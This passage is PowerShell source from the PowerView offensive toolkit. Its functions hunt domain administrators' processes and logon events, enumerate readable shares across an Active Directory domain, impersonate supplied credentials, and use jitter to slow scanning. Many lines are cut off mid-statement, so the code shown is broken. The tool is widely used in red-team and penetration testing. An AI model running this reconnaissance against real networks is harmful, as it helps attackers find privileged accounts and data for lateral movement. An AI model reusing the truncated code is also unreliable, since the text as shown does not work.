[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'TargetProcess')]
[ValidateNotNullOrEmpty()]
[String[]]
$ProcessName,
[Parameter(ParameterSetName = 'TargetUser')]
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[Parameter(ParameterSetName = 'TargetUser')]
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Parameter(ParameterSetName = 'TargetUser')]
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $Comp
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase']
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $U
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['Operatin
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $S
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $Sea
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] =
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] =
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombsto
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDA
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSe
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserA
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchS
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $Res
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $Ser
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -Ex
}
Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainProcess] No hosts found to enumerate'
}
# now build the user target set
if ($PSBoundParameters['ProcessName']) {
$TargetProcessName = @()
ForEach ($T in $ProcessName) {
$TargetProcessName += $T.Split(',')
}
if ($TargetProcessName -isnot [System.Array]) {
$TargetProcessName = [String[]] @($TargetProcessName)
}
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBo
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty s
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $Us
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $Sear
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombston
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$GroupSearcherArguments
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -Expan
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# try to enumerate all active processes on the remote host
# and search for a specific process name
if ($Credential) {
$Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetCompu
}
else {
$Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction Silently
}
ForEach ($Process in $Processes) {
# if we're hunting for a process name or comma-separated names
if ($ProcessName) {
if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
# if the session user is in the target list, display some output
elseif ($TargetUsers -Contains $Process.User) {
$Process
}
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $(
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer,
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'ProcessName' = $TargetProcessName
'TargetUsers' = $TargetUsers
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostE
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -Scr
}
}
}
function Find-DomainUserEvent {
<#
.SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-Dom
.DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.
.PARAMETER ComputerName
Specifies an explicit computer name to retrieve events from.
.PARAMETER Domain
Specifies a domain to query for domain controllers to enumerate.
Defaults to the current domain.
.PARAMETER Filter
A hashtable of PowerView.LogonEvent properties to filter for.
The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
and is 'or' by default, meaning at least one clause matches instead of all.
See the exaples for usage.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events (per host) to retrieve. Default of 5000.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer(s).
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserEvent
Search for any user events matching domain admins on every DC in the current domain.
.EXAMPLE
$cred = Get-Credential dev\administrator
Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
domain controller using the alternate credential
.EXAMPLE
'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
Find user events on the primary.testlab.local system where the event matches
the IPAddress '192.168.52.200' or '192.168.52.201'.
.EXAMPLE
$cred = Get-Credential testlab\administrator
Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'Ta
Find user events mathing the specified GUID AND the specified TargetLogonId, searching
through every domain controller in the current domain, enumerating each DC in serial
instead of in a threaded manner, using the alternate credential.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogon
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments',
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogon')]
[CmdletBinding(DefaultParameterSetName = 'Domain')]
Param(
[Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, Val
[Alias('dnshostname', 'HostName', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
[Parameter(ParameterSetName = 'Domain')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Hashtable]
$Filter,
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$StartTime = [DateTime]::Now.AddDays(-1),
[Parameter(ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[DateTime]
$EndTime = [DateTime]::Now,
[ValidateRange(1, 1000000)]
[Int]
$MaxEvents = 5000,
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDA
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSe
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserA
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchS
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $Res
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $Ser
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBound
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty s
}
elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) {
# otherwise we're querying a specific group
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
Write-Verbose "UserGroupIdentity: $UserGroupIdentity"
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $Us
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $Sear
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombston
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -Expan
}
# build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
# if not -ComputerName is passed, query the current (or target) domain for domain controllers
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain"
$TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandP
}
if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) {
$TargetComputers = @(,$TargetComputers)
}
Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)"
Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserEvent] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credent
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$DomainUserEventArgs = @{
'ComputerName' = $TargetComputer
}
if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime }
if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime }
if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents }
if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential }
if ($Filter -or $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -cont
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -n
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer,
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostE
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -Scr
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainShare
Find all domain shares in the current domain.
.EXAMPLE
Find-DomainShare -CheckShareAccess
Find all domain shares in the current domain that the current user has
read access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.ShareInfo
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Alias('CheckAccess')]
[Switch]
$CheckShareAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $Comp
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase']
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $U
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['Operatin
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $S
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $Sea
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] =
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] =
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombsto
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = $ComputerName
}
else {
Write-Verbose '[Find-DomainShare] Querying computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -Ex
}
Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainShare] No hosts found to enumerate'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $CheckShareAccess, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
# get the shares for this host and check what we find
$Shares = Get-NetShare -ComputerName $TargetComputer
ForEach ($Share in $Shares) {
$ShareName = $Share.Name
# $Remark = $Share.Remark
$Path = '\\'+$TargetComputer+'\'+$ShareName
if (($ShareName) -and ($ShareName.trim() -ne '')) {
# see if we want to check access to this share
if ($CheckShareAccess) {
# check if the user has access to this path
try {
$Null = [IO.Directory]::GetFiles($Path)
$Share
}
catch {
Write-Verbose "Error accessing share path $Path : $_"
}
}
else {
$Share
}
}
}
}
}
if ($TokenHandle) {
Invoke-RevertToSelf
}
}
$LogonToken = $Null
if ($PSBoundParameters['Credential']) {
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
else {
$LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($T
Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckSh
}
}
else {
Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'CheckShareAccess' = $CheckShareAccess
'TokenHandle' = $LogonToken
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostE
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -Scr
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Find-InterestingDomainShareFile {
<#
.SYNOPSIS
Searches for files matching specific criteria on readable shares
in the domain.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. It will then use Find-InterestingFile on each
readhable share, searching for files marching specific criteria. If -Credential
is passed, then Invoke-UserImpersonation is used to impersonate the specified
user before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER SharePath
Specifies one or more specific share paths to search, in the form \\COMPUTER\Share
.PARAMETER ExcludedShares
Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$.
